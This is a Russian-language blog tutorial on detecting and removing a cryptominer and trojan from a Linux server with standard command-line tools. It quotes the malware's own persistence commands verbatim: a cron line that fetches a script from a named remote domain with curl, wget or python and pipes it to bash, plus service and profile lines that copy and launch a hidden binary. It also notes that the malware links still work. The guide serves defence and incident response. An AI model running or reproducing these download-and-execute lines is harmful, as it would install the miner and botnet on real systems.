Поиск и удаление вредоносных программ из Linux

На днях довелось очищать сервер Linux от трояна и майнера. Сервер безголовый (только с консолью, без веб панелей или графических интерфейсов), антивирусы и анализаторы вредоносного трафика не установлены. Тем не менее, даже в таких условиях используя стандартные средства Linux можно довольно эффективно искать и деактивировать вредоносное ПО.

Чтобы было интереснее, методы будут опробованы на настоящем вредоносном ПО. На момент написания все ссылки на вредоносное ПО рабочие — можете попробовать себя в анализе, сборе информации о серверах злоумышленника и прочем. Конечно, я исхожу из того, что у вас хватит ума не запускать скаченные файлы двойным кликом и смотреть, что будет дальше. При поиске и деактивации вредоносного ПО (загрузчик, майнер, троян) на рабочем сервере было не до документирования, поэтому последующие скриншоты сделаны в тестовой системе, которую я специально заразил вирусом.

Как найти вирус на сервере Linux

Вредоносные программы, вирусы, трояны, майнеры имеют определённую цель. Для этой цели им необходимо выполнять те или иные действия — именно по этой активности и можно их найти. Кроме того, поскольку программы находятся в системе «нелегально», то им необходимо, во-первых, сохраниться после перезапуска компьютера; во-вторых, запуститься после перезапуска системы. Эти действия также могут выдать их.

В качестве активности вредоносного ПО можно выделить:

  • прослушивание портов или связь с удалёнными компьютерами (характерно для троянов)
  • повышенное потребление ресурсов компьютера (характерно для майнеров, программ для рассылки спама, компьютеров подключённых к ботнету)

Для закрепления в системе программа может:

  • копировать свои файлы и скачивать другое вредоносное ПО
  • добавлять задачи Cron
  • добавлять свои файлы в автозагрузку служб
  • модифицировать файлы профиля, автоматически выполняемые при входе пользователя в систему

Смотрите также: Структура директорий Linux. Важные файлы Linux

Признаки взлома сервера Linux

Нагрузка на центральный процессор

Инструментарий:

Начинаем с анализа использования ЦПУ:

top

Некий процесс dbused создаёт слишком сильную нагрузку на систему.

Попробуем развернуть дерево процессов (клавиша «c»):

Никакой дополнительной информации по процессу dbused. Попробуем что-то узнать о нём с помощью ps:

ps -f --forest -C dbused

Тоже мало толку.

Можно попытаться закрыть процесс, но он вновь сам запустится.

Нагрузка на постоянное хранилище

Инструментарий:

Посмотрим информацию об использовании диска процессами:

sudo iotop

Следующая команда с интервалами в 20 секунд показывает все процессы, которые выполняли чтение и запись с диска:

sudo pidstat -dl 20

На самом деле, на заражённом сервере найти источник проблемы мне помогла именно предыдущая команда, она в качестве процесса, который делал множество операций чтения/записи показала следующее:

/bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms

Видимо, из-за недостатка прав (сервер был заражён с правами веб-службы), что-то для вредоносного ПО работало во внештатном режиме.

Открытые порты

Инструментарий:

Чтобы посмотреть установленные соединения (например, троян или часть бота подключились к управляющему компьютеру), выполните следующую команду:

sudo ss -tupn

Вывод в моём случае:

Netid               State               Recv-Q               Send-Q                                 Local Address:Port                                Peer Address:Port               Process                                                 
udp                 ESTAB               0                    0                                   10.0.2.15%enp0s3:68                                      10.0.2.2:67                  users:(("NetworkManager",pid=277,fd=23))               
tcp                 ESTAB               0                    0                                          10.0.2.15:42632                               194.5.249.24:8080                users:(("dbused",pid=426,fd=11)) 

Обратите внимание на dbused — он подключён к 194.5.249.24:8080 — это и есть управляющий сервер или, в данном случае, компьютер отвечающий за координацию майнеров (пул). В качестве противодействия, можно заблокировать доступ к 194.5.249.24 с помощью iptables.

Вирус может быть настроен на прослушивания (открытие) порта. Открытые порты можно посмотреть командой:

sudo ss -tulpn

Анализ открытых файлов

Инструментарий:

Посмотрим, какие есть открытые файлы, связанные с dbused:

sudo lsof | grep dbused

Информации достаточно много, например, показаны IP адреса и порты с которыми связывается программа.

Чтобы показать только файлы в привычном смысле, то используйте команду следующего вида:

sudo lsof / | grep dbused

Как можно увидеть, файл найден, но он уже удалён. Вас не должен смущать тот факт, что исполнимый файл одновременно запущен (и использует ресурсы системы), но при этом является удалённым. В Linux не запрещено удалять используемый файл, он остаётся в кэше памяти и по-настоящему удаляется только когда будут закрыты все программы, используемые данный файл, либо когда процесс завершит свою работу, если это исполнимый файл.

Можно сделать вывод: файл копируется при каждом запуске системы, запускается, а затем удаляется (например, чтобы избежать обнаружения антивирусами). После перезагрузки компьютера всё повторяется вновь.

На самом деле, полученная информация не является бесполезной. Кроме сделанных выводов, что имеется механизм воссоздания вредоносного файла, можно сделать что-нибудь в этом роде:

sudo touch /usr/bin/dbused
sudo chattr +i /usr/bin/dbused

В результате будет создан файл заглушка, который невозможно удалить и переписать. При следующем запуске ОС это может помешать вирусу нормально скопировать и запустить свою копию.

Для просмотра вообще всех открытых (настоящих) файлов, можно использовать следующую команду:

sudo lsof /

Для просмотра открытых файлов в определённой директории:

sudo lsof /ПУТЬ/

Например:

sudo lsof /tmp

Возможно, вы сумеете обнаружить аномалии в системе.

Как узнать, какой процесс создаёт файл

Инструментарий:

Создадим правило для отслеживания изменений файла /usr/bin/dbused

sudo auditctl -w /usr/bin/dbused -p wa

Активируем службу:

sudo systemctl enable auditd.service

Перезагрузим компьютер и после появления файла проверим, кто его создал и запустил:

sudo ausearch -f /usr/bin/dbused

Запущенные службы

Инструментарий:

Просмотр активных служб, запущенных с помощью Systemctl:

systemctl list-unit-files | grep active

К автозагрузке с помощью Systemctl мы ещё вернёмся чуть ниже.

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Анализ таймеров

Инструментарий:

  • Таймеры systemd для замены Cron

Вывод списка всех активных таймеров:

systemctl list-timers

Анализ логов

Эта статья не совсем про Indicator of Compromise (IOC) и анализ атак, ставших причиной компрометации системы, поэтому не будем на этом сейчас останавливаться. Тем не менее, вас может заинтересовать:

Деактивация вируса в Linux

Попробуем собрать всё воедино и убрать службы из автозагрузки, удалить все исполнимые файлы и файлы автозапуска, сразу после этого перезагружаем компьютер, чтобы процесс вируса (если он ещё активен), не успел создать всё это заново:

sudo systemctl disable pwnrige.service pwnrigl.service &&
sudo rm /bin/sysdr /bin/bprofr /bin/crondr /etc/systemd/system/pwnrige.service /usr/lib/systemd/system/pwnrigl.service /etc/cron.d/root /etc/cron.d/nginx /etc/cron.d/apache /var/spool/cron/root /root/.bash_profile &&
reboot

Вместо успешного завершения блока команд и перезагрузки компьютера мы получили ошибку «Операция не позволена» для ряда файлов.

Причина в том, что с помощью атрибута файла «i» файлы заблокированы от удаления даже с помощью sudo. Подробности смотрите в статье «Атрибуты файлов в Linux». Чтобы разблокировать файлы, нужно использовать команду вида:

sudo chattr -ai ФАЙЛ

Получаем новую последовательность команд для деактивации вируса:

sudo systemctl disable pwnrige.service pwnrigl.service &&
sudo chattr -ai /bin/sysdr /bin/bprofr /bin/crondr /etc/systemd/system/pwnrige.service /usr/lib/systemd/system/pwnrigl.service /etc/cron.d/root /etc/cron.d/nginx /etc/cron.d/apache /var/spool/cron/root /root/.bash_profile &&
sudo rm /bin/sysdr /bin/bprofr /bin/crondr /etc/systemd/system/pwnrige.service /usr/lib/systemd/system/pwnrigl.service /etc/cron.d/root /etc/cron.d/nginx /etc/cron.d/apache /var/spool/cron/root /root/.bash_profile &&
reboot

Если процесс вируса ещё активен, то в дополнение к команда очистки, можно завершить процесс вредоносного ПО с помощью kill.

Инструментарий:

Итак

Как вы могли обратить внимание, среди нашего инструментария только обычные утилиты Linux. Конечно, имеются системы предотвращения вторжений, Indicator of Compromise (IOC) (индикаторы компрометации), антивирусы, анализаторы вредоносного трафика и другой вредоносной активности. Но такие программы не всегда установлены и, на самом деле, не всегда требуются чтобы найти и даже устранить причину проблемы.

Ещё вы могли обратить внимание на скрипт, который скачивается планировщиком задач Cron — это загрузчик (Downloader), написан на Bash. Даунлоадеры — это небольшие программы, которые обычно сами не делают каких-либо деструктивных действий, но при этом загружают в операционную систему вирусы, трояны и другие вредоносные программы. В данном случае загрузчик скачивает и запускает троян ботнета и майнер. Сам загрузчик пытается закрепиться в системе и, более того, пытается заразить другие машины — ищет имена пользователей и ключи для входа в другие системы. В общем, скрипт весьма любопытный — в следующей части мы изучим его. Изучение захваченных скриптов, файлов, команд полезно не только для саморазвития — они также могут дать подсказки, каким ещё образом вирус мог попытаться закрепиться в системе.

Смотрите продолжение: Анализ вируса под Linux на Bash

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован.